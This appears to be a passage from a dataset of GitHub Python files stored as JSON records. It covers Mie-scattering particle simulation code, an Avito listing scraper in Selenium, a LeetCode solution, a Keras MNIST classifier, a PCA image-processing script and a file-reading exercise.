PropertyLike[ArrayLike[float]] = (32, 32),\n z: PropertyLike[float] = 0.0,\n value: PropertyLike[float] = 1.0,\n position_unit: PropertyLike[str] = \"pixel\",\n upsample: PropertyLike[int] = 1,\n **kwargs\n ):\n self._processed_properties = False\n super().__init__(\n position=position,\n z=z,\n value=value,\n position_unit=position_unit,\n upsample=upsample,\n **kwargs\n )\n\n def _process_properties(self, properties: dict) -> dict:\n # Rescales the position property\n self._processed_properties = True\n if \"position\" in properties:\n if properties[\"position_unit\"] == \"meter\":\n properties[\"position\"] = (\n np.array(properties[\"position\"])\n / np.array(properties[\"voxel_size\"])[: len(properties[\"position\"])]\n / properties.get(\"upscale\", 1)\n )\n properties[\"z\"] = (\n np.array(properties[\"z\"])\n / np.array(properties[\"voxel_size\"])[: len(properties[\"position\"])]\n / properties.get(\"upscale\", 1)\n )\n\n return properties\n\n def _process_and_get(\n self, *args, voxel_size, upsample, upsample_axes=None, crop_empty=True, **kwargs\n ):\n # Post processes the created object to handle upsampling,\n # as well as cropping empty slices.\n if not self._processed_properties:\n\n warnings.warn(\n \"Overridden _process_properties method does not call super. \"\n + \"This is likely to result in errors if used with \"\n + \"Optics.upscale != 1.\"\n )\n\n # Calculates upsampled voxel_size\n if upsample_axes is None:\n upsample_axes = range(3)\n\n voxel_size = np.array(voxel_size)\n for axis in upsample_axes:\n voxel_size[axis] /= upsample\n\n # calls parent _process_and_get\n new_image = super()._process_and_get(\n *args, voxel_size=voxel_size, upsample=upsample, **kwargs\n )\n new_image = new_image[0]\n\n if new_image.size == 0:\n warnings.warn(\n \"Scatterer created that is smaller than a pixel. \"\n + \"This may yield inconsistent results.\"\n + \" Consider using upsample on the scatterer,\"\n + \" or upscale on the optics.\",\n Warning,\n )\n\n # Downsamples the image along the axes it was upsampled\n if upsample != 1 and upsample_axes:\n\n # Pad image to ensure it is divisible by upsample\n increase = np.array(new_image.shape)\n for axis in upsample_axes:\n increase[axis] = upsample - (new_image.shape[axis] % upsample)\n pad_width = [(0, inc) for inc in increase]\n new_image = np.pad(new_image, pad_width, mode=\"constant\")\n\n # Finds reshape size for downsampling\n new_shape = []\n for axis in range(new_image.ndim):\n if axis in upsample_axes:\n new_shape += [new_image.shape[axis] // upsample, upsample]\n else:\n new_shape += [new_image.shape[axis]]\n\n # Downsamples\n new_image = np.reshape(new_image, new_shape).mean(\n axis=tuple(np.array(upsample_axes, dtype=np.int32) * 2 + 1)\n )\n\n # Crops empty slices\n if crop_empty:\n new_image = new_image[~np.all(new_image == 0, axis=(1, 2))]\n new_image = new_image[:, ~np.all(new_image == 0, axis=(0, 2))]\n new_image = new_image[:, :, ~np.all(new_image == 0, axis=(0, 1))]\n\n return [Image(new_image)]\n\n\nclass PointParticle(Scatterer):\n \"\"\"Generates a point particle\n\n A point particle is approximated by the size of a pixel. For subpixel\n positioning, the position is interpolated linearly.\n\n Parameters\n ----------\n position : array_like of length 2 or 3\n The position of the particle. Third index is optional,\n and represents the position in the direction normal to the\n camera plane.\n z : float\n The position in the direction normal to the\n camera plane. Used if `position` is of length 2.\n value : float\n A default value of the characteristic of the particle. Used by\n optics unless a more direct property is set: (eg. `refractive_index`\n for `Brightfield` and `intensity` for `Fluorescence`).\n \"\"\"\n\n def __init__(self, **kwargs):\n kwargs.pop(\"upsample\", False)\n kwargs.pop(\"upsample_axes\", False)\n super().__init__(upsample=1, upsample_axes=(), **kwargs)\n\n def get(self, image, **kwargs):\n return np.ones((1, 1, 1))\n\n\nclass Ellipse(Scatterer):\n \"\"\"Generates an elliptical disk scatterer\n\n Parameters\n ----------\n radius : float or array_like [float (, float)]\n Radius of the ellipse in meters. If only one value,\n assume circular.\n rotation : float\n Orientation angle of the ellipse in the camera plane in radians.\n position : array_like[float, float (, float)]\n The position of the particle. Third index is optional,\n and represents the position in the direction normal to the\n camera plane.\n z : float\n The position in the direction normal to the\n camera plane. Used if `position` is of length 2.\n value : float\n A default value of the characteristic of the particle. Used by\n optics unless a more direct property is set: (eg. `refractive_index`\n for `Brightfield` and `intensity` for `Fluorescence`).\n upsample : int\n Upsamples the calculations of the pixel occupancy fraction.\n \"\"\"\n\n def __init__(\n self,\n radius: PropertyLike[float] = 1e-6,\n rotation: PropertyLike[float] = 0,\n **kwargs\n ):\n super().__init__(\n radius=radius, rotation=rotation, upsample_axes=(0, 1), **kwargs\n )\n\n def _process_properties(self, properties: dict) -> dict:\n \"\"\"Preprocess the input to the method .get()\n\n Ensures that the radius is an array of length 2. If the radius\n is a single value, the particle is made circular\n \"\"\"\n\n properties = super()._process_properties(properties)\n\n # Ensure radius is of length 2\n radius = np.array(properties[\"radius\"])\n if radius.ndim == 0:\n radius = np.array((properties[\"radius\"], properties[\"radius\"]))\n elif radius.size == 1:\n radius = np.array((*radius,) * 2)\n else:\n radius = radius[:2]\n properties[\"radius\"] = radius\n\n return properties\n\n def get(self, *ignore, radius, rotation, voxel_size, **kwargs):\n\n # Create a grid to calculate on\n rad = radius[:2] / voxel_size[:2]\n ceil = int(np.max(np.ceil(rad)))\n X, Y = np.meshgrid(np.arange(-ceil, ceil), np.arange(-ceil, ceil))\n\n # Rotate the grid\n if rotation != 0:\n Xt = X * np.cos(-rotation) + Y * np.sin(-rotation)\n Yt = -X * np.sin(-rotation) + Y * np.cos(-rotation)\n X = Xt\n Y = Yt\n\n # Evaluate ellipse\n mask = ((X * X) / (rad[0] * rad[0]) + (Y * Y) / (rad[1] * rad[1]) < 1) * 1.0\n mask = np.expand_dims(mask, axis=-1)\n return mask\n\n\nclass Sphere(Scatterer):\n \"\"\"Generates a spherical scatterer\n\n Parameters\n ----------\n radius : float\n Radius of the sphere in meters.\n position : array_like[float, float (, float)]\n The position of the particle. Third index is optional,\n and represents the position in the direction normal to the\n camera plane.\n z : float\n The position in the direction normal to the\n camera plane. Used if `position` is of length 2.\n value : float\n A default value of the characteristic of the particle. Used by\n optics unless a more direct property is set: (eg. `refractive_index`\n for `Brightfield` and `intensity` for `Fluorescence`).\n upsample : int\n Upsamples the calculations of the pixel occupancy fraction.\n \"\"\"\n\n def __init__(self, radius: PropertyLike[float] = 1e-6, **kwargs):\n super().__init__(radius=radius, **kwargs)\n\n def get(self, image, radius, voxel_size, **kwargs):\n\n # Create a grid to calculate on\n rad = radius / voxel_size\n rad_ceil = np.ceil(rad)\n x = np.arange(-rad_ceil[0], rad_ceil[0])\n y = np.arange(-rad_ceil[1], rad_ceil[1])\n z = np.arange(-rad_ceil[2], rad_ceil[2])\n X, Y, Z = np.meshgrid((x / rad[0]) ** 2, (y / rad[1]) ** 2, (z / rad[2]) ** 2)\n\n mask = (X + Y + Z <= 1) * 1.0\n\n return mask\n\n\nclass Ellipsoid(Scatterer):\n \"\"\"Generates an ellipsoidal scatterer\n\n Parameters\n ----------\n radius : float or array_like[float (, float, float)]\n Radius of the ellipsoid in meters. If only one value,\n assume spherical.\n rotation : float\n Rotation of the ellipsoid in about the x, y and z axis.\n position : array_like[float, float (, float)]\n The position of the particle. Third index is optional,\n and represents the position in the direction normal to the\n camera plane.\n z : float\n The position in the direction normal to the\n camera plane. Used if `position` is of length 2.\n value : float\n A default value of the characteristic of the particle. Used by\n optics unless a more direct property is set: (eg. `refractive_index`\n for `Brightfield` and `intensity` for `Fluorescence`).\n upsample : int\n Upsamples the calculations of the pixel occupancy fraction.\n \"\"\"\n\n def __init__(\n self,\n radius: PropertyLike[float] = 1e-6,\n rotation: PropertyLike[float] = 0,\n **kwargs\n ):\n super().__init__(radius=radius, rotation=rotation, **kwargs)\n\n def _process_properties(self, propertydict):\n \"\"\"Preprocess the input to the method .get()\n\n Ensures that the radius and the rotation properties both are arrays of\n length 3.\n\n If the radius is a single value, the particle is made a sphere\n If the radius are two values, the smallest value is appended as the\n third value\n\n The rotation vector is padded with zeros until it is of length 3\n \"\"\"\n\n propertydict = super()._process_properties(propertydict)\n\n # Ensure radius has three values\n radius = np.array(propertydict[\"radius\"])\n if radius.ndim == 0:\n radius = np.array([radius])\n if radius.size == 1:\n # If only one value, assume sphere\n radius = (*radius,) * 3\n elif radius.size == 2:\n # If two values, duplicate the minor axis\n radius = (*radius, np.min(radius[-1]))\n elif radius.size == 3:\n # If three values, convert to tuple for consistency\n radius = (*radius,)\n propertydict[\"radius\"] = radius\n\n # Ensure rotation has three values\n rotation = np.array(propertydict[\"rotation\"])\n if rotation.ndim == 0:\n rotation = np.array([rotation])\n if rotation.size == 1:\n # If only one value, pad with two zeros\n rotation = (*rotation, 0, 0)\n elif rotation.size == 2:\n # If two values, pad with one zero\n rotation = (*rotation, 0)\n elif rotation.size == 3:\n # If three values, convert to tuple for consistency\n rotation = (*rotation,)\n propertydict[\"rotation\"] = rotation\n\n return propertydict\n\n def get(self, image, radius, rotation, voxel_size, **kwargs):\n\n radius_in_pixels = radius / voxel_size\n\n max_rad = np.max(radius) / voxel_size\n rad_ceil = np.ceil(max_rad)\n\n # Create grid to calculate on\n x = np.arange(-rad_ceil[0], rad_ceil[0])\n y = np.arange(-rad_ceil[1], rad_ceil[1])\n z = np.arange(-rad_ceil[2], rad_ceil[2])\n X, Y, Z = np.meshgrid(x, y, z)\n\n # Rotate the grid\n cos = np.cos(rotation)\n sin = np.sin(rotation)\n XR = (\n (cos[0] * cos[1] * X)\n + (cos[0] * sin[1] * sin[2] - sin[0] * cos[2]) * Y\n + (cos[0] * sin[1] * cos[2] + sin[0] * sin[2]) * Z\n )\n YR = (\n (sin[0] * cos[1] * X)\n + (sin[0] * sin[1] * sin[2] + cos[0] * cos[2]) * Y\n + (sin[0] * sin[1] * cos[2] - cos[0] * sin[2]) * Z\n )\n ZR = (-sin[1] * X) + cos[1] * sin[2] * Y + cos[1] * cos[2] * Z\n\n mask = (\n (XR / radius_in_pixels[0]) ** 2\n + (YR / radius_in_pixels[1]) ** 2\n + (ZR / radius_in_pixels[2]) ** 2\n < 1\n ) * 1.0\n\n return mask\n\n\nclass MieScatterer(Scatterer):\n \"\"\"Base implementation of a Mie particle.\n\n New Mie-theory scatterers can be implemented by extending this class, and\n passing a function that calculates the coefficients of the harmonics up to\n order `L`. To beprecise, the feature expects a wrapper function that takes\n the current values of the properties, as well as a inner function that\n takes an integer as the only parameter, and calculates the coefficients up\n to that integer. The return format is expected to be a tuple with two\n values, corresponding to `an` and `bn`. See\n `deeptrack.backend.mie_coefficients` for an example.\n\n Parameters\n ----------\n coefficients : Callable[int] -> Tuple[ndarray, ndarray]\n Function that returns the harmonics coefficients.\n offset_z : \"auto\" or float\n Distance from the particle in the z direction the field is evaluated.\n If \"auto\", this is calculated from the pixel size and\n `collection_angle`\n collection_angle : \"auto\" or float\n The maximum collection angle in radians. If \"auto\", this\n is calculated from the objective NA (which is true if the objective is\n the limiting\n aperature).\n polarization_angle : float\n Angle of the polarization of the incoming light relative to the x-axis.\n L : int or str\n The number of terms used to evaluate the mie theory. If `\"auto\"`,\n it determines the number of terms automatically.\n position : array_like[float, float (, float)]\n The position of the particle. Third index is optional,\n and represents the position in the direction normal to the\n camera plane.\n z : float\n The position in the direction normal to the\n camera plane. Used if `position` is of length 2.\n \"\"\"\n\n def __init__(\n self,\n coefficients: Callable[..., Callable[[int], Tuple[ArrayLike, ArrayLike]]],\n offset_z: PropertyLike[str] = \"auto\",\n polarization_angle: PropertyLike[float] = 0,\n collection_angle: PropertyLike[str] = \"auto\",\n L: PropertyLike[str] = \"auto\",\n **kwargs\n ):\n kwargs.pop(\"is_field\", None)\n kwargs.pop(\"crop_empty\", None)\n\n super().__init__(\n is_field=True,\n crop_empty=False,\n L=L,\n offset_z=offset_z,\n polarization_angle=polarization_angle,\n collection_angle=collection_angle,\n coefficients=coefficients,\n **kwargs\n )\n\n def _process_properties(self, properties):\n\n properties = super()._process_properties(properties)\n\n if properties[\"L\"] == \"auto\":\n try:\n v = 2 * np.pi * np.max(properties[\"radius\"]) / properties[\"wavelength\"]\n properties[\"L\"] = int(np.ceil(v + 4 * (v ** (1 / 3)) + 2))\n except (ValueError, TypeError):\n pass\n if properties[\"collection_angle\"] == \"auto\":\n properties[\"collection_angle\"] = np.arcsin(\n properties[\"NA\"] / properties[\"refractive_index_medium\"]\n )\n\n if properties[\"offset_z\"] == \"auto\":\n properties[\"offset_z\"] = (\n 32\n * min(properties[\"voxel_size\"][:2])\n / np.sin(properties[\"collection_angle\"])\n * properties[\"upscale\"]\n )\n return properties\n\n def get(\n self,\n inp,\n position,\n upscaled_output_region,\n voxel_size,\n padding,\n wavelength,\n refractive_index_medium,\n L,\n offset_z,\n collection_angle,\n polarization_angle,\n coefficients,\n upscale=1,\n **kwargs\n ):\n\n xSize = (\n padding[2]\n + upscaled_output_region[2]\n - upscaled_output_region[0]\n + padding[0]\n )\n ySize = (\n padding[3]\n + upscaled_output_region[3]\n - upscaled_output_region[1]\n + padding[1]\n )\n arr = image.pad_image_to_fft(np.zeros((xSize, ySize)))\n\n # Evluation grid\n x = np.arange(-padding[0], arr.shape[0] - padding[0]) - (position[0]) * upscale\n y = np.arange(-padding[1], arr.shape[1] - padding[1]) - (position[1]) * upscale\n X, Y = np.meshgrid(x * voxel_size[0], y * voxel_size[1], indexing=\"ij\")\n\n R2 = np.sqrt(X ** 2 + Y ** 2)\n R3 = np.sqrt(R2 ** 2 + (offset_z) ** 2)\n ct = offset_z / R3\n\n ANGLE = np.arctan2(Y, X) + polarization_angle\n COS2 = np.square(np.cos(ANGLE))\n SIN2 = 1 - COS2\n\n ct_max = np.cos(collection_angle)\n\n # Wave vector\n k = 2 * np.pi / wavelength * refractive_index_medium\n\n # Harmonics\n\n A, B = coefficients(L)\n PI, TAU = D.mie_harmonics(ct, L)\n\n # Normalization factor\n E = [(2 * i + 1) / (i * (i + 1)) for i in range(1, L + 1)]\n\n # Scattering terms\n S1 = sum([E[i] * A[i] * TAU[i] + E[i] * B[i] * PI[i] for i in range(0, L)])\n S2 = sum([E[i] * B[i] * TAU[i] + E[i] * A[i] * PI[i] for i in range(0, L)])\n\n field = (\n (ct > ct_max)\n * 1j\n / (k * R3)\n * np.exp(1j * k * (R3 - offset_z))\n * (S1 * COS2 + S2 * SIN2)\n )\n\n return np.expand_dims(field, axis=-1)\n\n\nclass MieSphere(MieScatterer):\n \"\"\"Scattered field by a sphere\n\n Should be calculated on at least a 64 by 64 grid. Use padding in the\n optics if necessary.\n\n Calculates the scattered field by a spherical particle in a homogenous\n medium, as predicted by Mie theory. Note that the induced phase shift is\n calculated in comparison to the `refractive_index_medium` property of the\n optical device.\n\n Parameters\n ----------\n radius : float\n Radius of the mie particle in meter.\n refractive_index : float\n Refractive index of the particle\n L : int or str\n The number of terms used to evaluate the mie theory. If `\"auto\"`,\n it determines the number of terms automatically.\n position : array_like[float, float (, float)]\n The position of the particle. Third index is optional,\n and represents the position in the direction normal to the\n camera plane.\n z : float\n The position in the direction normal to the\n camera plane. Used if `position` is of length 2.\n offset_z : \"auto\" or float\n Distance from the particle in the z direction the field is evaluated.\n If \"auto\", this is calculated from the pixel size and\n `collection_angle`\n collection_angle : \"auto\" or float\n The maximum collection angle in radians. If \"auto\", this\n is calculated from the objective NA (which is true if the objective\n is the limiting aperature).\n polarization_angle : float\n Angle of the polarization of the incoming light relative to the x-axis.\n \"\"\"\n\n def __init__(\n self,\n radius: PropertyLike[float] = 1e-6,\n refractive_index: PropertyLike[float] = 1.45,\n **kwargs\n ):\n def coeffs(radius, refractive_index, refractive_index_medium, wavelength):\n def inner(L):\n return D.mie_coefficients(\n refractive_index / refractive_index_medium,\n radius * 2 * np.pi / wavelength * refractive_index_medium,\n L,\n )\n\n return inner\n\n super().__init__(\n coefficients=coeffs,\n radius=radius,\n refractive_index=refractive_index,\n **kwargs\n )\n\n\nclass MieStratifiedSphere(MieScatterer):\n \"\"\"Scattered field by a stratified sphere\n\n A stratified sphere is a sphere with several concentric shells of uniform\n refractive index.\n\n Should be calculated on at least a 64 by 64 grid. Use padding in the\n optics if necessary\n\n Calculates the scattered field by in a homogenous medium, as predicted by\n Mie theory. Note that the induced phase shift is calculated in comparison\n to the `refractive_index_medium` property of the optical device.\n\n Parameters\n ----------\n radius : list of float\n The radius of each cell in increasing order.\n refractive_index : list of float\n Refractive index of each cell in the same order as `radius`\n L : int or str\n The number of terms used to evaluate the mie theory. If `\"auto\"`,\n it determines the number of terms automatically.\n position : array_like[float, float (, float)]\n The position of the particle. Third index is optional,\n and represents the position in the direction normal to the\n camera plane.\n z : float\n The position in the direction normal to the\n camera plane. Used if `position` is of length 2.\n offset_z : \"auto\" or float\n Distance from the particle in the z direction the field is evaluated.\n If \"auto\", this is calculated from the pixel size and\n `collection_angle`\n collection_angle : \"auto\" or float\n The maximum collection angle in radians. If \"auto\", this\n is calculated from the objective NA (which is true if the objective\n is the limiting aperature).\n polarization_angle : float\n Angle of the polarization of the incoming light relative to the x-axis.\n \"\"\"\n\n def __init__(\n self,\n radius: PropertyLike[ArrayLike[float]] = [1e-6],\n refractive_index: PropertyLike[ArrayLike[float]] = [1.45],\n **kwargs\n ):\n def coeffs(radius, refractive_index, refractive_index_medium, wavelength):\n assert np.all(\n radius[1:] >= radius[:-1]\n ), \"Radius of the shells of a stratified sphere should be monotonically increasing\"\n\n def inner(L):\n return D.stratified_mie_coefficients(\n np.array(refractive_index) / refractive_index_medium,\n np.array(radius) * 2 * np.pi / wavelength * refractive_index_medium,\n L,\n )\n\n return inner\n\n super().__init__(\n coefficients=coeffs,\n radius=radius,\n refractive_index=refractive_index,\n **kwargs\n )\n","repo_name":"softmatterlab/Quantitative-Microplankton-Tracker","sub_path":"deeptrack/scatterers.py","file_name":"scatterers.py","file_ext":"py","file_size_in_byte":25535,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"25314882971","text":"from fake_useragent import UserAgent\nfrom selenium import webdriver\nimport time\nimport datetime\n\noptions = webdriver.ChromeOptions()\nuseragent = UserAgent().random\n\n# options.add_argument(f\"user-agent={useragent}\")\noptions.add_argument(\"--disable-blink-features=AutomationControlled\")\n# options.add_argument(\"headless\")\n# options.headless = True\n\ndriver = webdriver.Chrome(\n executable_path=r\"/usr/bin/chromedriver\",\n options=options\n)\n\nlink = 'https://www.avito.ru/tula?q=%D0%B3%D0%B8%D1%80%D1%8F+16+%D0%BA%D0%B3'\n\ntry:\n start_time = datetime.datetime.now()\n\n driver.get(link)\n time.sleep(2)\n # driver.implicitly_wait(10)\n elements = driver.find_elements_by_css_selector('h3.iva-item-title-1Rmmj')\n time.sleep(1)\n # driver.implicitly_wait(10)\n\n elements[0].click()\n time.sleep(10)\n # driver.implicitly_wait(10)\n driver.switch_to.window(driver.window_handles[1])\n time.sleep(2)\n # driver.implicitly_wait(10)\n\n price = driver.find_element_by_css_selector('.item-price-wrapper .price-value-string')\n price = price.text.strip()\n\n title = driver.find_element_by_css_selector('.title-info-title-text')\n title = title.text.strip()\n\n print(title)\n print(price)\n\n driver.close()\n driver.switch_to.window(driver.window_handles[0])\n\n elements[1].click()\n time.sleep(5)\n # driver.implicitly_wait(10)\n driver.switch_to.window(driver.window_handles[1])\n time.sleep(2)\n # driver.implicitly_wait(10)\n\n price = driver.find_element_by_css_selector('.item-price-wrapper .price-value-string')\n price = price.text.strip()\n\n title = driver.find_element_by_css_selector('.title-info-title-text')\n title = title.text.strip()\n\n print(title)\n print(price)\n\n finish_time = datetime.datetime.now()\n\n print(finish_time - start_time)\n\nexcept Exception as ex:\n print(ex)\nfinally:\n driver.quit()\n\n\n\n","repo_name":"HeySlava/parsing","sub_path":"python2day/selenium/8_swith_between_pages_avito.py","file_name":"8_swith_between_pages_avito.py","file_ext":"py","file_size_in_byte":1893,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"25053301992","text":"# The guess API is already defined for you.\n# @param num, your guess\n# @return -1 if my number is lower, 1 if my number is higher, otherwise return 0\n# def guess(num):\n\nclass Solution(object):\n def guessNumber(self, n):\n \"\"\"\n :type n: int\n :rtype: int\n \"\"\"\n\n start = 1\n end = n\n\n def cut_half(s, e):\n h = (s + e) // 2\n if guess(h) == 1:\n return h + 1, e\n elif guess(h) == -1:\n return s, h - 1\n elif guess(h) == 0:\n return h, h\n\n while start != end:\n start, end = cut_half(start, end)\n\n return start","repo_name":"rabbitxyt/leetcode","sub_path":"374_Guess_Number_Higher_or_Lower.py","file_name":"374_Guess_Number_Higher_or_Lower.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"29935622233","text":"import pandas as pd\nimport numpy as np\n\nfrom sklearn.model_selection import train_test_split\n\nimport keras.models as km\nimport keras.layers as kl\nimport keras.utils as ku\nimport keras.optimizers as ko\nfrom keras.callbacks import ReduceLROnPlateau\nfrom keras.preprocessing.image import ImageDataGenerator\n\n# setup CNN model\n\n\ndef cnn_model(numfm, numnodes, input_shape=(28, 28, 1), output_size=10):\n\n # Initialize the model.\n model = km.Sequential()\n\n # Add a 2D convolution layer, with numfm feature maps.\n model.add(kl.Conv2D(numfm, kernel_size=(5, 5),\n input_shape=input_shape,\n activation='relu'))\n model.add(kl.Conv2D(numfm, kernel_size=(5, 5),\n activation='relu'))\n # Add a max pooling layer.\n model.add(kl.MaxPooling2D(pool_size=(2, 2)))\n model.add(kl.Dropout(0.25))\n\n # Second layer\n model.add(kl.Conv2D(numfm * 2, kernel_size=(3, 3),\n activation='relu'))\n model.add(kl.Conv2D(numfm * 2, kernel_size=(3, 3),\n activation='relu'))\n # Add a max pooling layer.\n model.add(kl.MaxPooling2D(pool_size=(2, 2),\n strides=(2, 2)))\n model.add(kl.Dropout(0.25))\n\n # Convert the network from 2D to 1D.\n model.add(kl.Flatten())\n\n # Add a fully-connected layer.\n model.add(kl.Dense(numnodes,\n activation='relu'))\n model.add(kl.Dropout(0.5))\n # Add the output layer.\n model.add(kl.Dense(10, activation='softmax'))\n\n # Return the model.\n return model\n\n\n# Load the data\ntrain = pd.read_csv(\"./data/train.csv\")\ntest = pd.read_csv(\"./data/test.csv\")\n\n# separate x_train and y_tain\nx_train = train.drop(labels=['label'], axis=1)\n\n# Normalize the data\nx_train = x_train / 255.0\ntest = test / 255.0\n\ny_train = train['label']\ny_train = ku.to_categorical(y_train, 10)\ndel train\n\n# reshape the data\nx_train = x_train.values.reshape(-1, 28, 28, 1)\ntest = test.values.reshape(-1, 28, 28, 1)\n\n# Set the random seed\nrandom_seed = 2\n# Split the train and the validation set for the fitting\nx_train, x_val, y_train, y_val = train_test_split(x_train, y_train, test_size=0.1, random_state=random_seed)\n\nx_train.shape\n\n# employ model\nmodel = cnn_model(16, 256)\nmodel.summary()\n# Define the optimizer\noptimizer = ko.RMSprop(lr=0.001, rho=0.9, epsilon=1e-08, decay=0.0)\nmodel.compile(loss=\"categorical_crossentropy\", optimizer=optimizer, metrics=['accuracy'])\n\n# Set a learning rate annealer\nlearning_rate_reduction = ReduceLROnPlateau(monitor='val_acc', patience=3, verbose=1,\n factor=0.5, min_lr=0.00001)\n\ndatagen = ImageDataGenerator(featurewise_center=False,\n samplewise_center=False,\n featurewise_std_normalization=False,\n samplewise_std_normalization=False,\n zca_whitening=False,\n rotation_range=20,\n zoom_range=0.2,\n width_shift_range=0.2,\n height_shift_range=0.2,\n horizontal_flip=False,\n vertical_flip=False)\n\n\ndatagen.fit(x_train)\n\nbatch_size = 100\nfit = model.fit_generator(datagen.flow(x_train, y_train, batch_size=batch_size),\n epochs=30, validation_data=(x_val, y_val), steps_per_epoch=2*x_train.shape[0] // batch_size,\n verbose=2, callbacks=[learning_rate_reduction])\n# predict results\nresults = model.predict(test)\n# select the indix with the maximum probability\nresults = np.argmax(results, axis=1)\nresults = pd.Series(results, name=\"Label\")\n\nsubmission = pd.concat([pd.Series(range(1, 28001), name=\"ImageId\"), results], axis=1)\nsubmission.to_csv(\"digit_recognizer_cnn.csv\", index=False)\n","repo_name":"harryliyi/DataScience","sub_path":"Kaggle Problems/Digit Recognizer/digit_recognizer_kaggle.py","file_name":"digit_recognizer_kaggle.py","file_ext":"py","file_size_in_byte":3885,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"5648809456","text":"import tensorflow as tf\nimport os\nfrom glob import glob\nimport scipy.misc\nimport numpy as np\nimport sys, getopt\n\ndef get_image(image_path):\n image = scipy.misc.imread(image_path)#.astype(np.float)\n return np.array(image) # 0~255 to -1.0~1.0\n\ndef main(argv):\n if len(sys.argv) != 3:\n print ('python3 main.py ')\n sys.exit(0)\n \n f_path = sys.argv[1]\n o_path = sys.argv[2]\n \n if not os.path.isdir(f_path):\n print ('wrong input data directory')\n sys.exit(1)\n \n if not os.path.exists(o_path):\n os.makedirs(o_path)\n \n types = ('*.png', '*.jpg', '*.jpeg', '*.gif', '*.bmp')\n data = []\n for files in types:\n data.extend(glob(os.path.join(f_path, files)))\n image = [get_image(x) for x in data]\n \n cnt = 0\n sess = tf.Session()\n for i in image:\n ii_images, alpha = pca_ii(i)\n ii_image, angle = sess.run([ii_images, alpha])\n o_fullpath = os.path.join(o_path, os.path.basename(data[cnt]))\n print (os.path.basename(data[cnt]), angle * 180 / 3.1415)\n scipy.misc.imsave(o_fullpath, ii_image)\n cnt += 1\n \ndef pca_ii(ori_image):\n # Resize particular size\n ori_image = tf.stack(ori_image) # if dim 3 -> 4\n ori_image = tf.expand_dims(ori_image, [0])\n ori_image = tf.cast(ori_image, tf.float32)\n ori_image += 1.0 # Prevent zero divide\n\n # Extract uniform k sample\n ksizes = [1, 1, 1, 1] # 1x1 pixel\n strides = [1, 10, 10, 1] # 4\n rates = [1, 1, 1, 1]\n\n sample_pixel = tf.extract_image_patches(ori_image, ksizes, strides, rates, padding='VALID')\n sample_pixel = tf.squeeze(sample_pixel, [0])\n\n num_sample = sample_pixel.get_shape()[0].value * sample_pixel.get_shape()[1].value\n sample_pixel = tf.reshape(sample_pixel, [num_sample, 1, 1, 3])\n\n pixel_R = sample_pixel[:,0,0,0]\n pixel_G = sample_pixel[:,0,0,1]\n pixel_B = sample_pixel[:,0,0,2]\n\n geoM = tf.pow(pixel_R * pixel_G * pixel_B, 1.0/3.0)\n\n ch_r = tf.reshape(tf.log(pixel_R / geoM), [1, num_sample])\n ch_b = tf.reshape(tf.log(pixel_B / geoM), [1, num_sample])\n\n X = tf.concat([ch_r, ch_b], 0)\n [U, S, V] = tf.svd(X)\n\n vec = S[:,0]\n alpha = tf.abs(tf.atan(-vec[0] / vec[1]))\n\n tmp = tf.squeeze(ori_image, [0])\n pixel_R = tmp[:,:,0]\n pixel_G = tmp[:,:,1]\n pixel_B = tmp[:,:,2]\n\n geoM = tf.pow(pixel_R * pixel_G * pixel_B, 1.0/3.0)\n\n num_pixel = ori_image.get_shape()[1].value * ori_image.get_shape()[2].value\n ch_r = tf.log(pixel_R / geoM)\n ch_b = tf.log(pixel_B / geoM)\n \n ii_image = ch_r * tf.cos(alpha) + ch_b * tf.sin(alpha)\n return ii_image, alpha\n\n\nif __name__ == '__main__':\n main(sys.argv[1:])\n","repo_name":"yoonlab/PCA-II","sub_path":"pca_ii.py","file_name":"pca_ii.py","file_ext":"py","file_size_in_byte":2718,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"18"} +{"seq_id":"42455662409","text":"# менеджер контекста всего навсего открывает и закрывает ресурс сам. Решает проблему незакрытых файлов\n# Методы чтения файлов:\n# read - чтение файла целиком (жрет много памяти)\n# readline - прочтение построчное (если нет достаточно памяти и если большие файлы)\n# readlines - чтение всех строк в список (редко используют)\n# по умолчанию считывание открытых файлов идет в виде строк\n\n# --sample N1 for read--\n\n# file_name = \"shop.txt\"\n# def catalog_reader(file_name: str) -> dict:\n# with open(file_name, 'r', encoding=\"utf-8\") as file:\n# data = file.read()\n# print(file.closed)\n# print(data)\n#\n#\n# catalog_reader(file_name)\n\n# --sample N2 for readline--\n\n# выполняя команду readline мы принудительно убираем линию из файла при чтении (это надо учитывать)\n# file_name = 'shop.txt'\n# def catalog_reader(file_name):\n# with open(file_name, 'r', encoding=\"utf-8\") as file:\n# line = file.readline()\n# print(line)\n# print(\"\")\n# print(file.read())\n# catalog_reader(file_name)\n\n# --sample N3 for readlines--\n\n# file_name = 'shop.txt'\n# def catalog_reader(file_name):\n# with open(file_name, 'r', encoding=\"utf-8\") as file:\n# lines = file.readlines()\n# for line in lines:\n# print(line)\n#\n# catalog_reader(file_name)\n\n# --sample N4 for итерирование по циклу сразу, без readlines--\n# strip метод обрезает нам пустые строки\n# file_name = 'shop.txt'\n# def catalog_reader(file_name):\n# with open(file_name, 'r', encoding=\"utf-8\") as file:\n# for line in file:\n# print(line.strip())\n#\n# catalog_reader(file_name)\n\n# --sample N5 словарь делаем--\n# интересно потрошим файл по циклу, ВРОДЕ ЦИКЛ, НО К КАЖДОЙ СЛЕДУЮЩЕЙ СТРОЧКИ НОВОЕ ДЕЙСТВИЕ ДЕЛАЕМ ПО ТАКОМУ ЦИКЛУ\nfile_name = 'shop.txt'\nfrom pprint import pprint\ndef catalog_reader(file_name):\n with open(file_name, 'r', encoding=\"utf-8\") as file:\n result = {}\n for line in file:\n shop_name = line.strip()\n goods = []\n for item in range(int(file.readline())):\n good = file.readline()\n goods.append(good.strip())\n result[shop_name] = goods\n file.readline()\n# фейковое чтение чтобы убрать строку пустую file.readline()\n return result\ncatalog = catalog_reader(file_name)\npprint(catalog)","repo_name":"legion1983/Netology_Rudyakov","sub_path":"proba.py","file_name":"proba.py","file_ext":"py","file_size_in_byte":2883,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"24179942212","text":"# Functions to 